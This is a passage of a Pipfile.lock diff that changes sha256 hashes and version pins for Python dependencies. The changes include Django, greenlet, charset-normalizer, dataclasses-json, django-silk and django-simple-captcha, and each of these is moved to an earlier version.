"sha256:232ac332403e37e4a03d209a3f92ed9071f7d3dbda70e2a5e9cff1c4ba9f0678", - "sha256:23e8565ab7ff33218530bc817922fae827420f143479b753104ab801145b1d5b", - "sha256:24817cb02cbef7cd499f7c9a2735286b4782bd47a5b3516a0e84c50eab44b98e", - "sha256:249c6470a2b60935bafd1d1d13cd613f8cd8388d53461c67397ee6a0f5dce741", - "sha256:24a91a981f185721542a0b7c92e9054b7ab4fea0508a795846bc5b0abf8118d4", - "sha256:2502dd2a736c879c0f0d3e2161e74d9907231e25d35794584b1ca5284e43f596", - "sha256:250c9eb0f4600361dd80d46112213dff2286231d92d3e52af1e5a6083d10cad9", - "sha256:278c296c6f96fa686d74eb449ea1697f3c03dc28b75f873b65b5201806346a69", - "sha256:2935ffc78db9645cb2086c2f8f4cfd23d9b73cc0dc80334bc30aac6f03f68f8c", - "sha256:2f4a0033ce9a76e391542c182f0d48d084855b5fcba5010f707c8e8c34663d77", - "sha256:30a85aed0b864ac88309b7d94be09f6046c834ef60762a8833b660139cfbad13", - "sha256:380c4bde80bce25c6e4f77b19386f5ec9db230df9f2f2ac1e5ad7af2caa70459", - "sha256:3ae38d325b512f63f8da31f826e6cb6c367336f95e418137286ba362925c877e", - "sha256:3b447982ad46348c02cb90d230b75ac34e9886273df3a93eec0539308a6296d7", - "sha256:3debd1150027933210c2fc321527c2299118aa929c2f5a0a80ab6953e3bd1908", - "sha256:4162918ef3098851fcd8a628bf9b6a98d10c380725df9e04caf5ca6dd48c847a", - "sha256:468d2a840567b13a590e67dd276c570f8de00ed767ecc611994c301d0f8c014f", - "sha256:4cc152c5dd831641e995764f9f0b6589519f6f5123258ccaca8c6d34572fefa8", - "sha256:542da1178c1c6af8873e143910e2269add130a299c9106eef2594e15dae5e482", - "sha256:557b21a44ceac6c6b9773bc65aa1b4cc3e248a5ad2f5b914b91579a32e22204d", - "sha256:5707a746c6083a3a74b46b3a631d78d129edab06195a92a8ece755aac25a3f3d", - "sha256:588245972aca710b5b68802c8cad9edaa98589b1b42ad2b53accd6910dad3545", - "sha256:5adf257bd58c1b8632046bbe43ee38c04e1038e9d37de9c57a94d6bd6ce5da34", - "sha256:619d1c96099be5823db34fe89e2582b336b5b074a7f47f819d6b3a57ff7bdb86", - "sha256:63563193aec44bce707e0c5ca64ff69fa72ed7cf34ce6e11d5127555756fd2f6", - "sha256:67b8cc9574bb518ec76dc8e705d4c39ae78bb96237cb533edac149352c1f39fe", - "sha256:6a685067d05e46641d5d1623d7c7fdf15a357546cbb2f71b0ebde91b175ffc3e", - "sha256:70f1d09c0d7748b73290b29219e854b3207aea922f839437870d8cc2168e31cc", - "sha256:750b446b2ffce1739e8578576092179160f6d26bd5e23eb1789c4d64d5af7dc7", - "sha256:7966951325782121e67c81299a031f4c115615e68046f79b85856b86ebffc4cd", - "sha256:7b8b8bf1189b3ba9b8de5c8db4d541b406611a71a955bbbd7385bbc45fcb786c", - "sha256:7f5d10bae5d78e4551b7be7a9b29643a95aded9d0f602aa2ba584f0388e7a557", - "sha256:805dfea4ca10411a5296bcc75638017215a93ffb584c9e344731eef0dcfb026a", - "sha256:81bf654678e575403736b85ba3a7867e31c2c30a69bc57fe88e3ace52fb17b89", - "sha256:82eb849f085624f6a607538ee7b83a6d8126df6d2f7d3b319cb837b289123078", - "sha256:85a32721ddde63c9df9ebb0d2045b9691d9750cb139c161c80e500d210f5e26e", - "sha256:86d1f65ac145e2c9ed71d8ffb1905e9bba3a91ae29ba55b4c46ae6fc31d7c0d4", - "sha256:86f63face3a527284f7bb8a9d4f78988e3c06823f7bea2bd6f0e0e9298ca0403", - "sha256:8eaf82f0eccd1505cf39a45a6bd0a8cf1c70dcfc30dba338207a969d91b965c0", - "sha256:93aa7eef6ee71c629b51ef873991d6911b906d7312c6e8e99790c0f33c576f89", - "sha256:96c2b49eb6a72c0e4991d62406e365d87067ca14c1a729a870d22354e6f68115", - "sha256:9cf3126b85822c4e53aa28c7ec9869b924d6fcfb76e77a45c44b83d91afd74f9", - "sha256:9fe359b2e3a7729010060fbca442ca225280c16e923b37db0e955ac2a2b72a05", - "sha256:a0ac5e7015a5920cfce654c06618ec40c33e12801711da6b4258af59a8eff00a", - "sha256:a3f93dab657839dfa61025056606600a11d0b696d79386f974e459a3fbc568ec", - "sha256:a4b71f4d1765639372a3b32d2638197f5cd5221b19531f9245fcc9ee62d38f56", - "sha256:aae32c93e0f64469f74ccc730a7cb21c7610af3a775157e50bbd38f816536b38", - "sha256:aaf7b34c5bc56b38c931a54f7952f1ff0ae77a2e82496583b247f7c969eb1479", - "sha256:abecce40dfebbfa6abf8e324e1860092eeca6f7375c8c4e655a8afb61af58f2c", - "sha256:abf0d9f45ea5fb95051c8bfe43cb40cda383772f7e5023a83cc481ca2604d74e", - "sha256:ac71b2977fb90c35d41c9453116e283fac47bb9096ad917b8819ca8b943abecd", - "sha256:ada214c6fa40f8d800e575de6b91a40d0548139e5dc457d2ebb61470abf50186", - "sha256:b09719a17a2301178fac4470d54b1680b18a5048b481cb8890e1ef820cb80455", - "sha256:b1121de0e9d6e6ca08289583d7491e7fcb18a439305b34a30b20d8215922d43c", - "sha256:b3b2316b25644b23b54a6f6401074cebcecd1244c0b8e80111c9a3f1c8e83d65", - "sha256:b3d9b48ee6e3967b7901c052b670c7dda6deb812c309439adaffdec55c6d7b78", - "sha256:b5bcf60a228acae568e9911f410f9d9e0d43197d030ae5799e20dca8df588287", - "sha256:b8f3307af845803fb0b060ab76cf6dd3a13adc15b6b451f54281d25911eb92df", - "sha256:c2af80fb58f0f24b3f3adcb9148e6203fa67dd3f61c4af146ecad033024dde43", - "sha256:c350354efb159b8767a6244c166f66e67506e06c8924ed74669b2c70bc8735b1", - "sha256:c5a74c359b2d47d26cdbbc7845e9662d6b08a1e915eb015d044729e92e7050b7", - "sha256:c71f16da1ed8949774ef79f4a0260d28b83b3a50c6576f8f4f0288d109777989", - "sha256:d47ecf253780c90ee181d4d871cd655a789da937454045b17b5798da9393901a", - "sha256:d7eff0f27edc5afa9e405f7165f85a6d782d308f3b6b9d96016c010597958e63", - "sha256:d97d85fa63f315a8bdaba2af9a6a686e0eceab77b3089af45133252618e70884", - "sha256:db756e48f9c5c607b5e33dd36b1d5872d0422e960145b08ab0ec7fd420e9d649", - "sha256:dc45229747b67ffc441b3de2f3ae5e62877a282ea828a5bdb67883c4ee4a8810", - "sha256:e0fc42822278451bc13a2e8626cf2218ba570f27856b536e00cfa53099724828", - "sha256:e39c7eb31e3f5b1f88caff88bcff1b7f8334975b46f6ac6e9fc725d829bc35d4", - "sha256:e46cd37076971c1040fc8c41273a8b3e2c624ce4f2be3f5dfcb7a430c1d3acc2", - "sha256:e5c1502d4ace69a179305abb3f0bb6141cbe4714bc9b31d427329a95acfc8bdd", - "sha256:edfe077ab09442d4ef3c52cb1f9dab89bff02f4524afc0acf2d46be17dc479f5", - "sha256:effe5406c9bd748a871dbcaf3ac69167c38d72db8c9baf3ff954c344f31c4cbe", - "sha256:f0d1e3732768fecb052d90d62b220af62ead5748ac51ef61e7b32c266cac9293", - "sha256:f5969baeaea61c97efa706b9b107dcba02784b1601c74ac84f2a532ea079403e", - "sha256:f8888e31e3a85943743f8fc15e71536bda1c81d5aa36d014a3c0c44481d7db6e", - "sha256:fc52b79d83a3fe3a360902d3f5d79073a993597d48114c29485e9431092905d8" + "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96", + "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c", + "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710", + "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706", + "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020", + "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252", + "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad", + "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329", + "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a", + "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f", + "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6", + "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4", + "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a", + "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46", + "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2", + "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23", + "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace", + "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd", + "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982", + "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10", + "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2", + "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea", + "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09", + "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5", + "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149", + "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489", + "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9", + "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80", + "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592", + "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3", + "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6", + "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed", + "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c", + "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200", + "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a", + "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e", + "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d", + "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6", + "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623", + "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669", + "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3", + "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa", + "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9", + "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2", + "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f", + "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1", + "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4", + "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a", + "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8", + "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3", + "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029", + "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f", + "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959", + "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22", + "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7", + "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952", + "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346", + "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e", + "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d", + "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299", + "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd", + "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a", + "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3", + "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037", + "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94", + "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c", + "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858", + "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a", + "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449", + "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c", + "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918", + "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1", + "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c", + "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac", + "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa" ], "markers": "python_full_version >= '3.7.0'", - "version": "==3.3.0" + "version": "==3.2.0" }, "click": { "hashes": [ @@ -382,12 +378,12 @@ }, "dataclasses-json": { "hashes": [ - "sha256:1bd8418a61fe3d588bb0079214d7fb71d44937da40742b787256fd53b26b6c80", - "sha256:a53c220c35134ce08211a1057fd0e5bf76dc5331627c6b241cacbc570a89faae" + "sha256:5bcd5c1d946a69ef94d8cbb726d87af1256f7ba0898809c7695d299ab9b45122", + "sha256:77cbc80041007c27db90abad79eeed9ea00d4627324b1208266379a6ebdc81e4" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.6.1" + "version": "==0.6.0" }, "ddt": { "hashes": [ @@ -415,12 +411,12 @@ }, "django": { "hashes": [ - "sha256:83b6d66b06e484807d778263fdc7f9186d4dc1862fcfa6507830446ac6b060ba", - "sha256:c5e7b668025a6e06cad9ba6d4de1fd1a21212acebb51ea34abb400c6e4d33430" + "sha256:a5de4c484e7b7418e6d3e52a5b8794f0e6b9f9e4ce3c037018cf1c489fa87f3c", + "sha256:d31b06c58aa2cd73998ca5966bc3001243d3c4e77ee2d0c479bced124765fd99" ], "index": "pypi", "markers": "python_version >= '3.6'", - "version": "==3.2.22" + "version": "==3.2.21" }, "django-add-default-value": { "hashes": [ @@ -545,20 +541,20 @@ }, "django-silk": { "hashes": [ - "sha256:8cbfbc647d182527726d8d52d3fcfa193f4d250f21406c3fb1062efa6fb95c63", - "sha256:b345d3973d1d382e09735eb525eaf3eebd3edee9a69d1003eb9b01badb2438db" + "sha256:2f1fcaaf21192011147537fe1ca72dc9f552f32d7043ebd82aeeda370f194469", + "sha256:50552f06d9306d06517fbeab9a2c74856355e06304f03ed16b6dd353f7c77e7a" ], "index": "pypi", - "markers": "python_version >= '3.8'", - "version": "==5.0.4" + "markers": "python_version >= '3.7'", + "version": "==5.0.3" }, "django-simple-captcha": { "hashes": [ - "sha256:20273009a7beb44297e9f6c7a6bd21ada3d2fa93c314d2f6bf5e394ceeb6a297", - "sha256:3359cb033c489eae6544a80ad92517db3d35b3b328b3b427393399c3d7f55275" + "sha256:567ad84fa64c86508c679b8425cc1410c44b3cd6467e54f8d31cf077d9366407", + "sha256:6e1fcc4f4005f7d69ee7a2e59a7e863b5d3918f36a85a4d811498984aecc48ce" ], "index": "pypi", - "version": "==0.5.20" + "version": "==0.5.18" }, "django-stubs": { "extras": [ @@ -768,71 +764,73 @@ }, "greenlet": { "hashes": [ - "sha256:02a807b2a58d5cdebb07050efe3d7deaf915468d112dfcf5e426d0564aa3aa4a", - "sha256:0b72b802496cccbd9b31acea72b6f87e7771ccfd7f7927437d592e5c92ed703c", - "sha256:0d3f83ffb18dc57243e0151331e3c383b05e5b6c5029ac29f754745c800f8ed9", - "sha256:10b5582744abd9858947d163843d323d0b67be9432db50f8bf83031032bc218d", - "sha256:123910c58234a8d40eaab595bc56a5ae49bdd90122dde5bdc012c20595a94c14", - "sha256:1482fba7fbed96ea7842b5a7fc11d61727e8be75a077e603e8ab49d24e234383", - "sha256:19834e3f91f485442adc1ee440171ec5d9a4840a1f7bd5ed97833544719ce10b", - "sha256:1d363666acc21d2c204dd8705c0e0457d7b2ee7a76cb16ffc099d6799744ac99", - "sha256:211ef8d174601b80e01436f4e6905aca341b15a566f35a10dd8d1e93f5dbb3b7", - "sha256:269d06fa0f9624455ce08ae0179430eea61085e3cf6457f05982b37fd2cefe17", - "sha256:2e7dcdfad252f2ca83c685b0fa9fba00e4d8f243b73839229d56ee3d9d219314", - "sha256:334ef6ed8337bd0b58bb0ae4f7f2dcc84c9f116e474bb4ec250a8bb9bd797a66", - "sha256:343675e0da2f3c69d3fb1e894ba0a1acf58f481f3b9372ce1eb465ef93cf6fed", - "sha256:37f60b3a42d8b5499be910d1267b24355c495064f271cfe74bf28b17b099133c", - "sha256:38ad562a104cd41e9d4644f46ea37167b93190c6d5e4048fcc4b80d34ecb278f", - "sha256:3c0d36f5adc6e6100aedbc976d7428a9f7194ea79911aa4bf471f44ee13a9464", - "sha256:3fd2b18432e7298fcbec3d39e1a0aa91ae9ea1c93356ec089421fabc3651572b", - "sha256:4a1a6244ff96343e9994e37e5b4839f09a0207d35ef6134dce5c20d260d0302c", - "sha256:4cd83fb8d8e17633ad534d9ac93719ef8937568d730ef07ac3a98cb520fd93e4", - "sha256:527cd90ba3d8d7ae7dceb06fda619895768a46a1b4e423bdb24c1969823b8362", - "sha256:56867a3b3cf26dc8a0beecdb4459c59f4c47cdd5424618c08515f682e1d46692", - "sha256:621fcb346141ae08cb95424ebfc5b014361621b8132c48e538e34c3c93ac7365", - "sha256:63acdc34c9cde42a6534518e32ce55c30f932b473c62c235a466469a710bfbf9", - "sha256:6512592cc49b2c6d9b19fbaa0312124cd4c4c8a90d28473f86f92685cc5fef8e", - "sha256:6672fdde0fd1a60b44fb1751a7779c6db487e42b0cc65e7caa6aa686874e79fb", - "sha256:6a5b2d4cdaf1c71057ff823a19d850ed5c6c2d3686cb71f73ae4d6382aaa7a06", - "sha256:6a68d670c8f89ff65c82b936275369e532772eebc027c3be68c6b87ad05ca695", - "sha256:6bb36985f606a7c49916eff74ab99399cdfd09241c375d5a820bb855dfb4af9f", - "sha256:73b2f1922a39d5d59cc0e597987300df3396b148a9bd10b76a058a2f2772fc04", - "sha256:7709fd7bb02b31908dc8fd35bfd0a29fc24681d5cc9ac1d64ad07f8d2b7db62f", - "sha256:8060b32d8586e912a7b7dac2d15b28dbbd63a174ab32f5bc6d107a1c4143f40b", - "sha256:80dcd3c938cbcac986c5c92779db8e8ce51a89a849c135172c88ecbdc8c056b7", - "sha256:813720bd57e193391dfe26f4871186cf460848b83df7e23e6bef698a7624b4c9", - "sha256:831d6f35037cf18ca5e80a737a27d822d87cd922521d18ed3dbc8a6967be50ce", - "sha256:871b0a8835f9e9d461b7fdaa1b57e3492dd45398e87324c047469ce2fc9f516c", - "sha256:952256c2bc5b4ee8df8dfc54fc4de330970bf5d79253c863fb5e6761f00dda35", - "sha256:96d9ea57292f636ec851a9bb961a5cc0f9976900e16e5d5647f19aa36ba6366b", - "sha256:9a812224a5fb17a538207e8cf8e86f517df2080c8ee0f8c1ed2bdaccd18f38f4", - "sha256:9adbd8ecf097e34ada8efde9b6fec4dd2a903b1e98037adf72d12993a1c80b51", - "sha256:9de687479faec7db5b198cc365bc34addd256b0028956501f4d4d5e9ca2e240a", - "sha256:a048293392d4e058298710a54dfaefcefdf49d287cd33fb1f7d63d55426e4355", - "sha256:aa15a2ec737cb609ed48902b45c5e4ff6044feb5dcdfcf6fa8482379190330d7", - "sha256:abe1ef3d780de56defd0c77c5ba95e152f4e4c4e12d7e11dd8447d338b85a625", - "sha256:ad6fb737e46b8bd63156b8f59ba6cdef46fe2b7db0c5804388a2d0519b8ddb99", - "sha256:b1660a15a446206c8545edc292ab5c48b91ff732f91b3d3b30d9a915d5ec4779", - "sha256:b505fcfc26f4148551826a96f7317e02c400665fa0883fe505d4fcaab1dabfdd", - "sha256:b822fab253ac0f330ee807e7485769e3ac85d5eef827ca224feaaefa462dc0d0", - "sha256:bdd696947cd695924aecb3870660b7545a19851f93b9d327ef8236bfc49be705", - "sha256:bdfaeecf8cc705d35d8e6de324bf58427d7eafb55f67050d8f28053a3d57118c", - "sha256:be557119bf467d37a8099d91fbf11b2de5eb1fd5fc5b91598407574848dc910f", - "sha256:c6b5ce7f40f0e2f8b88c28e6691ca6806814157ff05e794cdd161be928550f4c", - "sha256:c94e4e924d09b5a3e37b853fe5924a95eac058cb6f6fb437ebb588b7eda79870", - "sha256:cc3e2679ea13b4de79bdc44b25a0c4fcd5e94e21b8f290791744ac42d34a0353", - "sha256:d1e22c22f7826096ad503e9bb681b05b8c1f5a8138469b255eb91f26a76634f2", - "sha256:d5539f6da3418c3dc002739cb2bb8d169056aa66e0c83f6bacae0cd3ac26b423", - "sha256:d55db1db455c59b46f794346efce896e754b8942817f46a1bada2d29446e305a", - "sha256:e09dea87cc91aea5500262993cbd484b41edf8af74f976719dd83fe724644cd6", - "sha256:e52a712c38e5fb4fd68e00dc3caf00b60cb65634d50e32281a9d6431b33b4af1", - "sha256:e693e759e172fa1c2c90d35dea4acbdd1d609b6936115d3739148d5e4cd11947", - "sha256:ecf94aa539e97a8411b5ea52fc6ccd8371be9550c4041011a091eb8b3ca1d810", - "sha256:f351479a6914fd81a55c8e68963609f792d9b067fb8a60a042c585a621e0de4f", - "sha256:f47932c434a3c8d3c86d865443fadc1fbf574e9b11d6650b656e602b1797908a" + "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a", + "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a", + "sha256:1087300cf9700bbf455b1b97e24db18f2f77b55302a68272c56209d5587c12d1", + "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43", + "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33", + "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8", + "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088", + "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca", + "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343", + "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645", + "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db", + "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df", + "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3", + "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86", + "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2", + "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a", + "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf", + "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7", + "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394", + "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40", + "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3", + "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6", + "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74", + "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0", + "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3", + "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91", + "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5", + "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9", + "sha256:8512a0c38cfd4e66a858ddd1b17705587900dd760c6003998e9472b77b56d417", + "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8", + "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b", + "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6", + "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb", + "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73", + "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b", + "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df", + "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9", + "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f", + "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0", + "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857", + "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a", + "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249", + "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30", + "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292", + "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b", + "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d", + "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b", + "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c", + "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca", + "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7", + "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75", + "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae", + "sha256:d4606a527e30548153be1a9f155f4e283d109ffba663a15856089fb55f933e47", + "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b", + "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470", + "sha256:d967650d3f56af314b72df7089d96cda1083a7fc2da05b375d2bc48c82ab3f3c", + "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564", + "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9", + "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099", + "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0", + "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5", + "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19", + "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1", + "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526" ], "markers": "platform_python_implementation == 'CPython'", - "version": "==3.0.0" + "version": "==2.0.2" }, "gunicorn": { "hashes": [ @@ -1603,45 